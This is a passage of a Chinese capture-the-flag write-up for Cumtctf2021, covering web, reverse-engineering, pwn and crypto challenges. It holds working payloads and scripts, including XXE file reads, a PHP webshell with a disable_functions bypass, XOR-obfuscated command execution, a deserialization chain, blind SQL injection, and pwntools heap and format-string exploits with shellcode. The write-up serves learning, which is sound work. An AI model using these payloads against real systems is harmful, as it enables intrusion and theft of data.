IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Cumtctf2021初夏赛 -> 正文阅读

[PHP知识库]Cumtctf2021初夏赛

web

web签到

根据返回版本信息 PHP/8.1.0-dev,搜索可知是存在后面的版本

验证存在后门

image-20210527154802853

ls

image-20210604111020726

cat flag.php

image-20210604111044650

别大E

admin/admin弱口令登录,得到flag在flag.php

image-20210604111412328

抓包发现

Content-Type: application/xml;charset=utf-8
X-Requested-With: XMLHttpRequest

可能有xxe漏洞,尝试读取/etc/passwd

<?xml version="1.0"?>
<!DOCTYPE meteo [
<!ENTITY payload SYSTEM  "file:///etc/passwd">
]>
<user><username>&payload;</username><password>meteo</password></user>

读取成功

image-20210604111711145

读取flag,用filter伪协议将flag.php转base64后输出,/var/www/html/为apache默认解析目录

<?xml version="1.0"?>
<!DOCTYPE meteo [
<!ENTITY payload SYSTEM  "php://filter/convert.base64-encode/resource=/var/www/html/flag.php">
]>
<user><username>&payload;</username><password>meteo</password></user>

image-20210604111845607

base64解码即可得到flag

EZ_getshell

先是一个php混淆

可以本地手动解,把eval替换成echo,反复输出

也可以找网站解,例如:

https://www.zhaoyuanma.com/phpjm.html

得到PHP代码

<?php
highlight_file(__FILE__);
@eval($_POST[ymlisisisiook]);
?>

使用蚁剑链接木马,无法访问其他目录;命令行无权限

上传phpinfo.php,并访问,禁用了许多函数

<?php phpinfo();?>
disable_functions
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system

open_basedir
/var/www/html/

绕过disable_functions,直接使用蚁剑插件Bypass disable_function,存在可利用函数putenv,error_log,利用LD_PRELOAD来绕过

image-20210602231810897

再次链接

image-20210602232001876

使用命令终端执行命令

cat /flag

可以了解一下绕过的原理

ez_web

61当天的newctf比赛的签到题(好像),做完发现难度还行,马上嫖了过来XD

打开,看php代码

<?php
    $four_word = $_POST['web'];
    $a = $_POST['a'];
    $b = $_POST['b'];
    $c = $_POST['c'];
    if (md5($four_word) == '327a6c4304ad5938eaf0efb6cc3e53dc' && md5($a) === md5($b) && $a !== $b) {
        if($array[++$c]=1){
            if($array[]=1){
                echo "nonono";
            }
            else{
                require_once 'flag.php';
                echo $flag;
            }
        }
    } 
?>

four_word要判断md5,直接找在线查询网站就可以查到image-20210601221848186

同时还要满足 md5( a ) = = = m d 5 ( a) === md5( a)===md5(b) && $a !== $b,这里直接用数组绕过

c明显整数溢出,2的63次方-2

这里引用 没有队名队的wp

a,b 的 md5 强相等,但 a 与 b 不等,数组绕过,md5 不能处理数组,返回 null,使两个数 组不等,post 提交数组方式为 a[]=1&b[]=2, a r r a y [ + + array[++ array[++c]=1,定义并给++ C 位 置 赋 值 , p h p 数 组 添 加 新 元 素 的 方 式 C 位置赋值,php 数组添加新元素的方式 Cphparray[]=1;赋值成功返回 ture,若 a r r a y 是 数 组 , 添 加 整 型 会 报 错 , 跳 到 e l s e , 但 是 此 处 提 交 数 组 在 i f ( array 是数组,添加整型会报错, 跳到 else,但是此处提交数组在 if( arrayelseif(array[++ c ] = 1 ) 处 + + c]=1)处++ c]=1)++c 报错,不能进入 flag 区域,采用 php 数组溢出,php 数组有界,最大下标为 9223372036854775807,溢出会报错,返回 false, 进入 flag 区域,所以设置 c = 9223372036854775806 , + + c=9223372036854775806,++ c=9223372036854775806,++c 会是 php 数组达到最大边界,再 添加数据会溢出,返回 false,进到 flag 区域。得到提示 password:i_love_web,

payload:

?web=flag&a[]=1&b[]=2&c=9223372036854775806

image-20210601222513433

再结合题目hint:我特别喜欢这张图片,说不定里面还藏了什么东西

image-20210601222654426

背景图片里面肯定用密码隐写了什么东西,下载图片

jpg图片,再结合密码,盲猜jphide隐写

用工具解密,得到flag

image-20210601223412433

RCE_Me

<?php
error_reporting(0);
if (isset($_POST['url'])) {
    $url = $_POST['url'];
    $r = parse_url($url);
    if (preg_match('/cumt\.com$/', $r['host'])) {
        echo "you are good";
        $code = file_get_contents($url);
        print_r($code);
        if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\~|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
            die('are you sure???');
        }
        $blacklist = get_defined_functions()['internal'];
        foreach ($blacklist as $blackitem) {
            if (preg_match ('/' . $blackitem . '/im', $code)) {
                die('You deserve better');
            }
        }
        assert($code);
    }else{
        echo "you are not cumt";
    }
}else{
    highlight_file(__FILE__); 

根据parse_url的正则匹配方式和file_get_contents,我们可以想到用data协议去绕过第一个cumt的正则对host判断,并且让$code赋值为我们的payload。

使用:url=data://cumt.com/plain,

而后续的rce由于过滤了所有内部函数,以及取反,通配符匹配几个关键字符,所以我们只能通过异或来绕过

关于此类无数字字母rce有个很好的总结文章:https://xz.aliyun.com/t/8107

给出一个异或脚本

<?php
$payload = '_POST';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
    $flag=0;
    for ($i = 128; $i < 256; $i++) {
        for ($j = 128; $j < 256; $j++) {
            if ((chr($i) ^ chr($j)) === $payload[$l]) {
                echo urlencode(chr($i));
                $a=$a.urlencode(chr($i));
                echo '^';
                echo urlencode(chr($j));
                $b=$b.urlencode(chr($j));
                echo '=' . $payload[$l];
                echo "<br>";
                $flag=1;
                break;
            }
        }
        if($flag===1){
            break;
        }
    }
}

echo $a.'^'.$b;

通过构造 P O S T , 再 传 入 新 参 数 , 即 可 执 行 命 令 , _POST,再传入新参数,即可执行命令, P?OST{}中如果是变量名则会使用变量,如果内部是一个函数的话,内部函数会被执行,php解释器会自动略过无效的${},当然此题仅仅用来构造变量。

<?php
${phpinfo()};
?>

会输出phpinfo页面

url=data://cumt.com/plain,${%80%80%80%80%80^%DF%D0%CF%D3%D4}{m}(${%80%80%80%80%80^%DF%D0%CF%D3%D4}{e})
&m=system&e=ls
相当于:url=data://cumt.com/plain,${_POST}{m}(${_POST}{e})
&m=system&e=ls
得到flag
url=data://cumt.com/plain,${%80%80%80%80%80^%DF%D0%CF%D3%D4}{m}(${%80%80%80%80%80^%DF%D0%CF%D3%D4}{e})
&m=system&e=tac flag.php

image-20210604114737319

如果在hackbar中最后用cat flag.php是可以成功执行的,但内容被html注释符给注释了,F12查看源代码即可。

Easy_unserialize

#index.php
<?php
highlight_file(__FILE__);
//popa.php popb.php

function __autoload($classname){
    require "./$classname.php";
}

if(!isset($_COOKIE['user'])){
    setcookie("user", serialize('ctfer'), time()+3600);
}else{
    echo "hello";
    echo unserialize($_COOKIE['user']);
} 
#popa.php
<?php
//flag is in flag.php
highlight_file(__FILE__);

class Cuu{
    public $met;
    public $eo;
    public function __construct(){
        $this->met ="hello";
    }
    public function __wakeup(){
        $this->mo="try a try";
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class funct
{
        public $mod1;
        public function __call($test2,$arr)
        {
                $fun = $this->mod1;
                $fun();
        }
}
#popb.php
 <?php
//flag is in flag.php
highlight_file(__FILE__);
class over {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    } 
}

class usele{
    public $test;
    public function __wakeup(){
        $this->test="yes";
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $nam = $this->p;
        $nam->nonono();
    }
} 

可构造pop链的类分别在两个文件中,此时就可以利用index.php中的__autoload,该函数会根据所需自动导入类,前提类名为文件名,若无该类同样会包含该文件。所以创建popa类,popb类先将两个文件包含进来。使用数组serialize([class popa,class popb]),再构造pop链。

image-20210604160415792

有效可利用的类如下

<?php
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class funct
{
        public $mod1;
        public function __call($test2,$arr)
        {
                $fun = $this->mod1;
                $fun();
        }
} 
class over {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    } 
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $nam = $this->p;
        $nam->nonono();
    }
}

利用over中的include包含flag.php,需要控制$var的值和调用__invoke,而当对象当作函数使用时会调用__invoke,可以看到class funct中__call的方法可使成员作为函数使用,然后找可以调用__call()的地方,调用不存在函数时会调用__call()。在Test的__get()方法中看到了调用了不存在的函数,然后去找可以调用__get()的地方,当访问不存在的成员变量时会调用__get(),在Show的__toString中找到,然后找有没有把成员对象当作字符串的地方,Show下面__wakeup()中preg_match()会把source当作字符串,pop链构造完毕。

构造链

Show.wakeup->Show.__tostring->Test.__get->funct.__call
->over.__invole->include(flag.php)

exp

<?php
class popa{
    public $name=1;
}
class popb{
    public $name=1;
}
class over {
	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";

}


class Test{
    public $p;
    public function __construct(){
        $this->p = new funct();
    }
}

class funct
{
        public $mod1;
        public function __construct(){
            $this->mod1 = new over();
        }
}


class Show{
    public $source;
    public $str;
    public function __construct(){
        $this->str = new Test();
    }
}


$a = new Show();
$a->source = new Show();
$b = new popa();
$c = new popb();
echo urlencode(serialize([$b,$c,$a]));
//a%3A3%3A%7Bi%3A0%3BO%3A4%3A%22popa%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3B%7Di%3A1%3BO%3A4%3A%22popb%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3B%7Di%3A2%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A5%3A%22funct%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22over%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A5%3A%22funct%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A4%3A%22over%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D%7D

image-20210604162311322

base64解码即为flag

sql_inject

考察盲注和无列名注入
先通过mysql.innodb_table_stats得到表名

import requests

url='http://219.219.61.234:32776/test.php'
flag=''

for i in range(1,1000000000000000):
    low =31
    high =127
    while high>=low:
        mid = (low+high)//2
        data={
            "username":"admin",
            "password":"0'/**/||/**/if(ascii(mid((select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/!(database_name<>'cumtctf')),{},1))>{},1,0)/**/#".format(i,mid)
        }
        re = requests.post(url,data=data)
        # print(data)
        # print(re.text)
        if 'you are right' in re.text:
            low = mid +1
        else:
            high = mid - 1
        # time.sleep(1)
    f = int((low+high+1))//2
    if f==127 or f == 31:
        break
    flag = flag + chr(f)
    print(flag)

得到表名flag_table,之后进行无列名注入

import requests
url = 'http://219.219.61.234:32776/test.php'

def trans(flag):
    res = ''
    for i in flag:
        res += hex(ord(i))
    res = '0x' + res.replace('0x','')
    return res

flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
    hexchar = ''
    for char in range(32, 126):
        hexchar = trans(flag+ chr(char))
        payload = "0'||/**/if(((select/**/{},'a')>(select/**/*/**/from/**/flag_table/**/limit/**/2,1)),1,0)#".format(hexchar)
        data = {
                'username':'admin',
                'password':payload
                }
        r = requests.post(url=url, data=data)
        text = r.text
        if 'you are right' in r.text:
            flag += chr(char-1)
            print(flag)
            break

Re

图标好奇怪

图标是python的,猜测是python编译成的文件
使用

pyinstxtractor.py 图标好奇怪.exe 

反编译得到很多文件
因为111.pyc头文件不完整,所以把111.pyc和struct.pyc用010editer打开
在这里插入图片描述
在这里插入图片描述

把struct.pyc的第一行复制到111.pyc上,然后另存为123.pyc
使用命令

uncompyle6 -o 123.py 123.pyc

将.pyc文件反编译成.py文件就可以查看源代码了

from sys import exit
from time import sleep
flag = input('Please input falg:\n')
if len(flag) != 29:
    print('The length is wrong.')
    sleep(20)
    exit()
key = [
 59, 41, 49, 42, 59, 42, 56, 5, 58, 78, 33, 37, 78, 244, 33, 56, 228, 57, 79, 33, 54, 224, 46, 239, 248, 0, 0, 0, 3]
l = len(key)
s = []
for i in flag:
    s.append(ord(i))

m = []
for i in range(l):
    if 97 <= s[i] <= 122:
        x = s[i] - 1 ^ 128
        m.append(x)
    elif 65 <= s[i] <= 90:
        x = s[i] + 1 ^ 127
        m.append(x)
    else:
        x = s[i] ^ 126
        m.append(x)

for i in range(l):
    if m[i] != key[i]:
        print('Sorry...')
        sleep(20)
        exit()

print('You are right!!!')
sleep(20)

写脚本反推

key = [59, 41, 49, 42, 59, 42, 56, 5, 58, 78, 33, 37, 78, 244, 33, 56, 228, 57, 79, 33, 54, 224, 46, 239, 248, 0, 0, 0, 3]
s = []
for i in range(29):
    if 97 <= ((key[i] ^ 128)+1) <= 122:
        s.append((key[i] ^ 128)+1)
    elif 65 <= ((key[i] ^ 127)-1) <= 90:
        s.append((key[i] ^ 127)-1)
    else:
        s.append(key[i] ^ 126)

flag = ''.join(chr(i) for i in s)
print(flag)

得到flag
CUMTCTF{D0_Y0u_FeE1_HaPpy~~~}

有些奇怪的exe

直接拖入IDA,什么也看不出来,猜测加壳了。
用Exe Info Pe查看,确实用UPX加壳。
使用ESP定律脱壳。
脱壳完毕后拖入IDA查看,可以看到代码了

{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  sub_401A10();
  sub_4015A4(a1, a2, v2, "please input your flag:\n");
  sub_401550(a1, a2, &v31, "%s");
  v33 = j_strlen(a1);
  if ( v33 != 24 )
  {
    sub_4015A4(a1, a2, v3, "The length is wrong.\n");
    j_system(a1);
    j_exit(a1);
  }
  j__mbscpy(a1, a2);
  v6 = 123;
  v7 = 14;
  v8 = 7;
  v9 = 15;
  v10 = 127;
  v11 = 17;
  v12 = 4;
  v13 = 26;
  v14 = 25;
  v15 = 81;
  v16 = 119;
  v17 = 2;
  v18 = 11;
  v19 = 106;
  v20 = 26;
  v21 = 6;
  v22 = 14;
  v23 = 90;
  v24 = 107;
  v25 = 114;
  v26 = 77;
  v27 = 43;
  v28 = 44;
  v29 = 44;
  for ( i = 0; i < v33; ++i )
  {
    if ( v30[i] <= 64 || v30[i] > 90 )
    {
      if ( v30[i] <= 96 || v30[i] > 122 )
      {
        v4 = i;
        v30[i] = v30[i];
      }
      else
      {
        v4 = v30[i] - 32;
        v30[i] -= 32;
      }
    }
    else
    {
      v4 = v30[i] + 32;
      v30[i] += 32;
    }
  }
  for ( j = 0; j < v33; ++j )
  {
    v32 = v30[j] + j + v33;
    v4 = (v32 % 128);
    v30[j] = v4;
  }
  for ( k = 0; k < v33; ++k )
  {
    v4 = *(&v6 + k);
    if ( v4 != v30[k] )
    {
      sub_4015A4(a1, a2, v4, "You are wrong~~\n");
      j_system(a1);
      j_exit(a1);
    }
  }
  sub_4015A4(a1, a2, v4, "Congrations!!!\n");
  j_system(a1);
  return 0LL;
}

写脚本反推

s = [123, 14, 7, 15, 127, 17, 4, 26, 25, 81, 119, 2, 11, 106, 26, 6, 14, 90, 107, 114, 77, 43, 44, 44]
length = len(s)
f = []
for i in range(length):
    if s[i] <= (i+length):
        x = s[i]+128-i-length
        f.append(x)
    else:
        x = s[i]-i-length
        f.append(x)
for i in range(length):
    if 65 <= f[i] <= 90:
        f[i] += 32
    elif 97 <= f[i] <= 122:
        f[i] -= 32
flag = ''.join(chr(i) for i in f)
print(flag)

得到flag
CUMTCTF{Y0u_GeT_F1ag!~~}

神奇的编码

打开文件,看到很多python字节码,需要翻译。查询翻译后得到结构

def change(str1, str2):
    str = []
    length = len(str1)
    for i in range(length):
        x = (str2[i] << 4) + str1[(i + 1) % length]
        str.append(x)
    return str

flag = input()
result = [119, 52, 114, 67, 113, 121, 114, 67, 117, 56, 79, 75, 119, 114, 118, 67, 109, 69, 106, 68, 117, 109, 114, 67,
          117, 88, 122, 68, 117, 120, 111, 77, 119, 54, 106, 68, 105, 103, 106, 68, 105, 119, 107, 77, 119, 55, 122, 68,
          117, 103, 118, 68, 105, 81, 107, 77, 119, 55, 115, 74, 79, 122, 51, 68, 114, 99, 79, 111, 75, 119, 61, 61]
s1 = []
import base64
k = pow(2, 8) - 1
for i in flag:
    x = ord(i) ^ k
    s1.append(x)

m1 = []
m2 = []
for i in range(len(s1)):
    a = int(s1[i]/16)
    b = s1[i] % 16
    m1.append(a)
    m2.append(b)

m = change(m1, m2)

str = ''.join(chr(i) for i in m)
str_code = base64.b64encode(str.encode())
list = list(str_code)

is_right = True
for i in range(len(list)):
    if list[i] != result[i]:
        is_right = False
        break

if is_right:
    print('Congratulations!!!')
else:
    print('You are wrong.')

根据翻译的结构写脚本

import base64
result = [119, 52, 114, 67, 113, 121, 114, 67, 117, 56, 79, 75, 119, 114, 118, 67, 109, 69, 106, 68, 117, 109, 114, 67,
          117, 88, 122, 68, 117, 120, 111, 77, 119, 54, 106, 68, 105, 103, 106, 68, 105, 119, 107, 77, 119, 55, 122, 68,
          117, 103, 118, 68, 105, 81, 107, 77, 119, 55, 115, 74, 79, 122, 51, 68, 114, 99, 79, 111, 75, 119, 61, 61]
r = ''
for i in result:
    r += chr(i)

m = base64.b64decode(r).decode()
l = []
for i in m:
    l.append(ord(i))

length = len(l)
f = []
for i in range(length):
    a = l[(length-1+i) % length] % 16
    b = l[i] >> 4
    f.append((a << 4)+b)

ff = []
for i in f:
    ff.append(i ^ 255)
flag = ''.join(chr(i) for i in ff)
print(flag)

运行得到flag
CUMTCTF{pYTh0N_1s_sOo00_Coo0OlL!!}

Pwn

pwn1

在这里插入图片描述
对v4读入数据覆盖v5为2021即可

from pwn import *
p=remote('219.219.61.234',10000)
#p=process('./pwn1')
payload=b'a'*(0x20-4)+p64(2021)
#p.recvuntil("Let's do easystack\n")
p.sendline(payload)
p.interactive()

pwn2

本题可以通过改gets的got表为system函数的地址完成攻击

from pwn import *
p = remote('219.219.61.234', 10001)
elf = ELF("./pwn2")
system_plt = 0x08048586
gets_got = elf.got["gets"]
p.recvline("Do U Know Fmtstr?")
payload = fmtstr_payload(5, {gets_got:system_plt})
p.send(payload)
p.interactive()

pwn3

分析函数,会生成个随机数
在这里插入图片描述
在这里插入图片描述
我们使 strcmp 函数返回 0,从而通过验证输出 flag,可以通过简单爆破拿到flag,附上 Eurek4 队伍的exp,运气差可以多运行几次

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
#import binascii
#from LibcSearcher import *
#context.os='linux'
#context.log_level='debug'
#context.arch = elf.arch
#context.terminal = ['terminator', '-x', 'sh', '-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
#p=remote('219.219.61.234',10002)

for i in range(0,100):
    p =remote("219.219.61.234",10002)
    ru(":")
    sl("\x00\x00")
    flag=r()
    if b"{" in flag:
        print(flag)

pwn4

分析关键flag函数
在这里插入图片描述
打开一个flag文件放到v21中,调试发现偏移量为27时会泄露flag,从而多次尝试拿到flag

附上Eurek4队伍的exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
import binascii
#import binascii
#from LibcSearcher import *
#context.os='linux'
#context.log_level='debug'
#context.arch = elf.arch
#context.terminal = ['terminator', '-x', 'sh', '-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
#shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
flag=""
#p = process(".")
p = remote("219.219.61.234",10003)
ru(":")
sl("%26$p")
ru(":")
f=r(6)[2:]
flag+=binascii.a2b_hex(f)[::-1]
for i in range(27,32):
	p = remote("219.219.61.234",10003)
	ru(":")
	sl("%{}$p".format(i))
	ru(":")
	f=r(18)[2:]
	flag += binascii.a2b_hex(f)[::-1]
print(flag)

pwn5

在这里插入图片描述
size是任意的,且这个是在16上的

  1. 先泄露libc,向后合并,在分配,直接拿到libc
  2. 然后就是经典的malloc_hook和realloc_hook相结合,写one_gadget

还是附上Eurek4队伍的exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
#import binascii
#from LibcSearcher import *
#context.os='linux'
p = remote("219.219.61.234",10005)
#p = process("./pwn6")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#elf = ELF("./pwn2")
context.log_level='debug'
#context.arch = elf.arch
#context.terminal = ['terminator', '-x', 'sh', '-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))


def create(size, content):
    sla('Your choice :\n', '1')
    sla('Size:', str(size))
    sa('Data:', content)

def delete(index):
    sla('Your choice :\n', '2')
    sla('Index:', str(index))

def show():
    sla('Your choice :\n', '3')


create(0x100, 'A'*0x100)#0
create(0x100, 'B'*0x100)#1
create(0x68, 'C'*0x68)#2
create(0x68, 'D'*0x68)#3
create(0x100, 'E'*(0x100 - 0x10) + p64(0x100) + p64(0x11))#4

delete(2)
delete(3)
delete(0)

payload = 'F' * 0x60
payload += p64(0x300)
create(0x68, payload)


malloc_hook_sym = libc.sym['__malloc_hook']
realloc_sym = libc.sym['realloc']
gadget = [0x45226,0x4527a,0xcd173,0xcd248,0xf0364,0xf0370,0xf1207,0xf67b0]

one=gadget[1]
delete(4)

create(0x100, 'A' * 0x100)
show()
p.recvuntil('1 : ')

main_arena = uu64(ru(' '))
libc_base = main_arena - 0x3c4b78
#malloc_hook = (main_area & 0xFFFFFFFFFFFFF000) + (malloc_hook_sym & 0xFFF)
#libc_base = malloc_hook - malloc_hook_sym
malloc_hook = libc_base + malloc_hook_sym
leak("libc",libc_base)
realloc_hook = libc_base + realloc_sym
gadget = libc_base + one

payload = 'G' * 0x100
payload += p64(0) + p64(0x71)
payload += p64(malloc_hook - 0x23)
create(0x118, payload)
#gdb.attach(p)
create(0x68, 'H' * 0x68)
payload = '\x00' * (0x13-0x8) + p64(gadget) + p64(realloc_hook) + '\n'
create(0x68, payload)

sla('Your choice :\n', '1')
sla('Size:', 1)

itr()

pwn6

在这里插入图片描述
第一次得先泄露libc,当申请size足够大,就会申请到靠近libc的地方

之后就是把one_gadget写入malloc_hook

继续附上Eurek4队伍的exp

#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pwn import *
#import binascii
#from LibcSearcher import *
#context.os='linux'
context.log_level='debug'
#context.arch = elf.arch
#context.terminal = ['terminator', '-x', 'sh', '-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,'\0'))
uu64    = lambda data               :u64(data.ljust(8,'\0'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

#p = process("./pwn3")
flag = ""
onegadget = [0x45226,0x4527a,0xcd173,0xcd248,0xf03a4,0xf03b0,0xf1247,0xf67f0]
for i in range(0,8):
    try:
        p = remote("219.219.61.234",10004)
        libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
        ru("size.",drop=True)
        sl(str(0x300000))
        #gdb.attach(p)
        offset = 3149808
        ru("0x",drop=True)
        heap = int(ru("\n",drop=True),16)
        libc_base = heap + offset
        leak("libc_base",libc_base)
        one = libc_base + onegadget[i]
        malloc_hook = libc_base + libc.sym["__malloc_hook"]
        ru("offset.")
        shot = hex(malloc_hook - heap)[2:]
        #gdb.attach(p)
        sl(str(shot))
        ru("one_gadget.",drop=True)
        s(p64(one))
        itr()
    except:
        continue

pwn出题人也没想到,自己才转pwn不久居然要来出题(banyun)了,期间出了很多岔子,大家见谅哈

Crypto

残缺的MD5

直接python脚本进行爆破

import hashlib

k = 'CUMT?CTF?THIS?IS?EASY?CRYPTO'                    #要还原的明文
for s1 in range(26):
    temp1 = k.replace('?',str(chr(65+s1)),1)
    for s2 in range(26):
        temp2 = temp1.replace('?',chr(65+s2),1)
        for s3 in range(26):
            temp3 = temp2.replace('?', chr(65 + s3), 1)
            for s4 in range(26):
                temp4 = temp3.replace('?',chr(65 + s4),1)
                for s5 in range(26):
                    temp5 = temp4.replace('?', chr(65 + s5), 1)
                    s = hashlib.md5(temp5.encode('utf8')).hexdigest().upper()#注意大小写
                    if '7C' in s and '36' in s and '652' in s and '99'in s and '45' in s and 'AB' in s:    #检查元素
                        print(temp5)
                        print (s)       #输出密文

签到

简单的rsa签到

import gmpy2
import libnum

p =  179308029351398708234417464669784768880399151648569845562886886585141537800964270916194429130118599712870746693936567800799004784510299552618124053435004033390166017920864088101679083935228420137668520922440427388145128191147668592163593853221346181333248439399873897078266255467472957065257005244063744940131
q =  101671269759559703003816622550383523767934430906264285409988824108525882621334745943818017065638429959613457943320527452702964572641789627990096150683118268233374614127755461394684363061087487298385050518861385904859852265337390090823288181222528587097642890243936001539151912282423832830293997587126504998077
e =  65537
c =  1910332683022868524851442931211232949271621360340559407038357161818299127077226004675748828624122595373130998198319404799969749024066643194983835816418868071860115509956965030588994709745726678403188222642418408020307382679817022137070530733123245689245148941377205377583469812643476536482688016864622822823933298588759901038732847877256554218715538095888294824507308215147087338734478193617065137016396738565533585392446643675397656760945993736497361218426488118202304214512608986396801993366184124326428661421978180961424412943936393645189250605135962675558382676369167871830021109988873352336389339522839747469218


# 已知,p,q,e,先算 n =(p-1)*(q-1),然后用 gmpy2 算出 d ,还得算 N = p*q,再进行 m = pow(c, d, N)算出密文

N = p * q
n = (p-1) * (q-1)
d = gmpy2.invert(e,n)
m = pow(c,d,N)
print(m)

print(libnum.n2s(int(m)))

非常的base

字符替换,将密文的字符对应dict字典,再转换为base64 字典中的字符,然后base64解码

脚本如下:

import base64
